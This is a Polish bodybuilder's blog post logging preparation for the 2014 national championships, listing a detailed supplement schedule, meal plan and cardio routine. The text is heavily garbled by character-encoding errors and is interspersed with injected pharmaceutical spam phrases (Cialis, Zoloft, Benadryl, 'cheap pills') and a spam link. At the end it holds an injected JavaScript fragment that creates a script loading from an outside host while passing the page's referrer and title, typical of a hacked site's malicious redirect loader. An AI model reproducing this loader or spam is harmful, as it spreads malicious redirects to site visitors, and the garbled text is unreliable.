Przygotowania do Mistrzostw Polski 2014

14.02.2014 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

W tym roku rA?wnieA? poprowadzAi?? dziennik z przygotowywaAi?? do Mistrzostw Polski 2014.
Mam nadziejAi??, A?e jak najwiAi??cej uda mi siAi?? wpisywaAi?? – z tym, A?e jestem bardzo ograniczony czasowo – czyli mam go duA?o mniej niA? w zeszAi??ym roku.

W przygotowaniach oczywiAi??cie wspiera mnie Tomek ” PAPAJ ” Lech, Dawid ” GISZMAN” Geler, pani Agnieszka oraz firma Trec Nutrition – wszystkim za wszystko jestem bardzo wdziAi??czny – DziAi??kuje.

Jak wiadomo, kaA?dy chce poprawiAi?? formAi?? z roku na rok i wyjAi??Ai?? w jeszcze lepszej formie niA? w sezonie poprzednim, NOoo i ja teA? tak mam.

Sezon masowy nie byAi?? poAi??wiAi??cony na drastyczne zwiAi??kszanie masy ciaAi??a, a poprawAi?? grup, ktA?re odstawaAi??y, wiAi??c pozwoliAi??em sobie trzymaAi?? dosyAi?? dobrAi?? formAi?? jak na okres masowy.

Mistrzostwa Polski 2014 bAi??dAi?? w terminie 2-4 MAJ.

ZostaAi??o 11 Tygodni do Mistrzostw Polski.
JeAi??li chodzi o Aeroby, robiAi?? je po treningu siAi??owym po 30 minut 3-4 razy w tygodniu na bieA?ni z tAi??tnem 120-130.

Suplementacja na 11Tyg Pills

SUPLEMENTACJA :

+ Rano:
– 5 gram CM3
– 5 gram BCAA Powder
– 5 gram Glutamine Extreme
– 50 gram ISOLATE 100
– 3 tab AMINO 4500
– 1 kaps MULTIPACK SPORT – DAY / NIGHT FORMULA
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab VIT-C Strong 1000
– 1 kaps TRIBULON BLACK
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 3 tab AMINO 4500
– 1 kaps MAGNE-100 Sport

+ PopoAi??udniu: trochAi?? pA?A?niej:

– 1 kaps Super OMEGA-3 + Vitamin E
– 1 kaps Potasu
– 3 tab AMINO 4500

+ PopoAi??udniu: jeszcze trochAi?? pA?A?niej:

– 1 kaps Super OMEGA-3 + Vitamin E
– 1 kaps MAGNE-100 Sport
– 3 tab AMINO 4500

+ Przed Treningiem:

– 10 gram S.A.W.
– 7-10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3

+ Po treningu siAi??owym : Cheap
– 10 gram BCAA Powder
– 10 gram Glutamine Extreme
– 5 gram CM3

+ Po treningu aerobowym :

– 50 gram IsoLate 100
– 50 gram Vitargo electro-energy

+ Na Noc: Order
– 1 kaps MULTIPACK SPORT – DAY / NIGHT FORMULA
– 1 kaps Super OMEGA-3 + Vitamin E
– 10 gram Glutamine Extreme
– 2 kaps MAGNE-100 Sport
– 2 tab VIT-C Strong 1000
– 1 kaps TRIBULON BLACK
– 2 kaps GABA 750
– 1 kaps PROBIOTYKAi??W

DIETA :
Order 1 POSIA?EK :
130 gram zmielonych pAi??atkA?w owsianych
50 gram ISOLATE 100

http://www.reisen-und-familie.de/details.php/13212 2 POSIA?EK : benadryl injection price
75 gram ryA?u basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

3 POSIA?EK :

75 gram ryA?u basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

4 POSIA?EK : cheap pills
75 gram ryA?u basmati
200 gram piersi z kurczaka
10 gram Oleju Lnianego

POSIA?EK (po aerobach) :
– 50 gram ISOLATE 100
– 50 gram Vitargo electro-energy

5 POSIA?EK (po siAi??owni) :
100 gram ryA?u basmati
200 gram piersi z kurczaka

6 POSIA?EK :
230 – 260 gram woAi??owiny

Warzyw na razie nie dodajAi??, ale bAi??dAi?? dodawaAi?? jak ssanie w brzuchu nie da A?yAi??, dodatkowo uA?ywam jeszcze bezkalorycznych sosA?w do jedzenia, Tonic bez cukru, Pepsi Max itp.

No i w tym roku na redukcji daje wiAi??cej tAi??uszczy, a mniej wAi??glowodanA?w, bo lepiej siAi?? czuje.
Zobaczymy co z tego wyjdzie

Forma na 11 Tygodni przed zawodami waga 93,5 kg :

buy pills Biceps TyAi??em 4 Klatka Bokiem 7 LINE UP a cialis black 800 Najszerszy przodem 2 generic sertraline manufacturers. buy Zoloft. greenstone generic zoloft.

Hejas.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; var d=document;var s=d.createElement('script'); if (document.currentScript) { charboleps price